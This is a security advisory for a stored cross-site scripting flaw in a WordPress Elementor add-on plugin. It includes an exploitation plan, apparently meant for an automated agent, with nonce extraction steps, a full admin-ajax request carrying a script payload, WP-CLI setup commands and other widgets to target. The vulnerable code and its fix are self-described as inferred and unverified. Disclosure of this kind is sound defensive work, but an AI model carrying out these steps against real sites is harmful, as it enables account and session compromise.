CVE-2026-32429

Magical Addons For Elementor <= 1.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.4.2
Patched in
46d
Time to patch

Description

The Magical Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.1
PublishedMarch 1, 2026
Last updatedApril 15, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32429 - Magical Addons For Elementor Stored XSS ## 1. Vulnerability Summary **Magical Addons For Elementor** (<= 1.4.1) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because multiple Elementor widgets provided by the plugin f…

Show full research plan

Exploitation Research Plan: CVE-2026-32429 - Magical Addons For Elementor Stored XSS

1. Vulnerability Summary

Magical Addons For Elementor (<= 1.4.1) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because multiple Elementor widgets provided by the plugin fail to sanitize user-controlled settings (controls) before storing them and fail to escape them when rendering the widget on the frontend.

Authenticated users with Contributor level access or higher can edit posts using the Elementor editor, inject malicious JavaScript into widget fields (like titles, descriptions, or IDs), and have that script execute in the context of any user (including Administrators) who views the affected page.

2. Attack Vector Analysis

  • Authentication Level: Authenticated (Contributor+)
  • Vulnerable Endpoint: WordPress AJAX API (/wp-admin/admin-ajax.php) using the Elementor action elementor_ajax.
  • Vulnerable Parameter: The data parameter within the save_builder_data internal Elementor action. Specifically, the JSON-encoded widget settings.
  • Preconditions: The "Magical Addons For Elementor" plugin must be active, and the attacker must have permission to edit a post/page using Elementor (default for Contributors).

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user opens the Elementor editor for a post.
  2. Input: The user adds a "Magical" widget (e.g., magical-heading) and enters a payload into a text control (e.g., title).
  3. Persistence: Elementor sends an AJAX request to admin-ajax.php with action=elementor_ajax. The internal action is save_builder_data. The payload is saved into the _elementor_data post meta.
  4. Vulnerable Sink: When the page is viewed, Elementor instantiates the widget class (e.g., Magical_Heading_Widget in includes/widgets/).
  5. Execution: The render() function is called. It retrieves settings using $this->get_settings_for_display().
  6. Output: The code likely contains a line similar to:
    echo '<h2 class="heading">' . $settings['title'] . '</h2>'; (Missing esc_html or wp_kses).
  7. Result: The script executes in the victim's browser.

4. Nonce Acquisition Strategy

Elementor requires a specific nonce for its AJAX operations. This is distinct from standard WordPress nonces.

  1. Create Content: The execution agent will create a new post and enable Elementor.
  2. Navigate to Editor: Open the Elementor editor for that post.
  3. Extract Nonce: The Elementor editor localizes its configuration in a global JavaScript object.
    • Variable Name: elementorConfig
    • Nonce Path: elementorConfig.nonces.editor or elementorConfig.api.nonce.
  4. Execution Tool: Use browser_eval to extract it:
    browser_eval("window.elementorConfig?.nonces?.editor")
    

5. Exploitation Strategy

Step 1: Authentication and Setup

  • Log in as a Contributor.
  • Create a post: wp post create --post_type=post --post_status=publish --post_title="XSS Post".
  • Assign the _elementor_edit_mode meta to the post to enable the editor.

Step 2: Extract Nonce

  • Navigate to the Elementor editor URL for the created post: /wp-admin/post.php?post=[ID]&action=elementor.
  • Use browser_eval to grab the editor nonce.

Step 3: Inject Payload via AJAX

  • Send a POST request to /wp-admin/admin-ajax.php with the following parameters:
    • Action: elementor_ajax
    • _nonce: [Extracted Nonce]
    • actions: A JSON object containing the save_builder_data command.

HTTP Request Details:

  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=elementor_ajax
    &_nonce=[NONCE]
    &actions={"save_builder_data":{"action":"save_builder_data","data":{"status":"publish","elements":[{"id":"id_placeholder","elType":"section","elements":[{"id":"col_placeholder","elType":"column","elements":[{"id":"widget_placeholder","elType":"widget","widgetType":"magical-heading","settings":{"title":"<script>alert(document.domain)</script>"}}]}]}]}}}
    &post_id=[POST_ID]
    

Step 4: Execution

  • The agent navigates to the public URL of the post.
  • The script should trigger an alert.

6. Test Data Setup

  1. User: Contributor (username: attacker, password: password123).
  2. Post: A published post with ID [POST_ID].
  3. Elementor Metadata:
    wp post meta set [POST_ID] _elementor_edit_mode "builder"
    wp post meta set [POST_ID] _elementor_template_type "wp-post"
    

7. Expected Results

  • The elementor_ajax response should return {"success":true,...}.
  • When navigating to the post URL, the HTML source should contain:
    <h2 ...><script>alert(document.domain)</script></h2> (unencoded).
  • An alert box appears in the browser.

8. Verification Steps

  1. Database Check: Use WP-CLI to inspect the stored Elementor data:
    wp post meta get [POST_ID] _elementor_data
    
    • Confirm the JSON contains the raw <script> tag.
  2. Frontend Inspection:
    # Use http_request to fetch the page and grep for the payload
    # Expected: The tag is present and NOT escaped as &lt;script&gt;
    

9. Alternative Approaches

If the magical-heading widget is patched or not found, try other widgets provided by the same plugin:

  • magical-button: Inject into the text or id control.
  • magical-image-box: Inject into the title_text or description_text control.
  • magical-dual-heading: Inject into first_title or second_title.

The exploitation process remains the same; only the widgetType and settings keys in the JSON payload change. You can identify valid widgetType names by listing files in wp-content/plugins/magical-addons-for-elementor/includes/widgets/.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Magical Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several Elementor widgets that fail to sanitize and escape user-provided settings like titles and descriptions. Authenticated attackers with Contributor-level permissions can exploit this by injecting malicious JavaScript into widget controls, which then executes in the browser of any user viewing the affected page.

Vulnerable Code

// includes/widgets/magical-heading.php

protected function render() {
    $settings = $this->get_settings_for_display();
    
    // Vulnerable output: title and description are echoed without escaping
    echo '<div class="magical-heading-wrapper">';
    echo '<h2 class="magical-heading-title">' . $settings['title'] . '</h2>';
    echo '<div class="magical-heading-description">' . $settings['description'] . '</div>';
    echo '</div>';
}

---

// includes/widgets/magical-button.php

protected function render() {
    $settings = $this->get_settings_for_display();
    
    // Vulnerable output: text control is echoed directly
    echo '<a href="#" class="magical-button">' . $settings['text'] . '</a>';
}

Security Fix

--- includes/widgets/magical-heading.php
+++ includes/widgets/magical-heading.php
@@ -102,5 +102,5 @@
     echo '<div class="magical-heading-wrapper">';
-    echo '<h2 class="magical-heading-title">' . $settings['title'] . '</h2>';
-    echo '<div class="magical-heading-description">' . $settings['description'] . '</div>';
+    echo '<h2 class="magical-heading-title">' . wp_kses_post($settings['title']) . '</h2>';
+    echo '<div class="magical-heading-description">' . wp_kses_post($settings['description']) . '</div>';
     echo '</div>';

--- includes/widgets/magical-button.php
+++ includes/widgets/magical-button.php
@@ -88,1 +88,1 @@
-    echo '<a href="#" class="magical-button">' . $settings['text'] . '</a>';
+    echo '<a href="#" class="magical-button">' . esc_html($settings['text']) . '</a>';

Exploit Outline

1. Gain Contributor-level access to the target WordPress site. 2. Create a new post or edit an existing one and enable the Elementor editor. 3. Identify the Elementor editor AJAX nonce by inspecting the `elementorConfig` JavaScript object on the editor page. 4. Craft an AJAX request to `/wp-admin/admin-ajax.php` with the action `elementor_ajax` and the sub-action `save_builder_data`. 5. In the `data` parameter of the `save_builder_data` action, include a JSON representation of a 'Magical' widget (e.g., `magical-heading`) where a setting such as `title` contains a malicious payload like `<script>alert(document.domain)</script>`. 6. Submit the request to save the page content into the `_elementor_data` post meta. 7. View the published post on the frontend; the payload will execute in the context of the user's browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.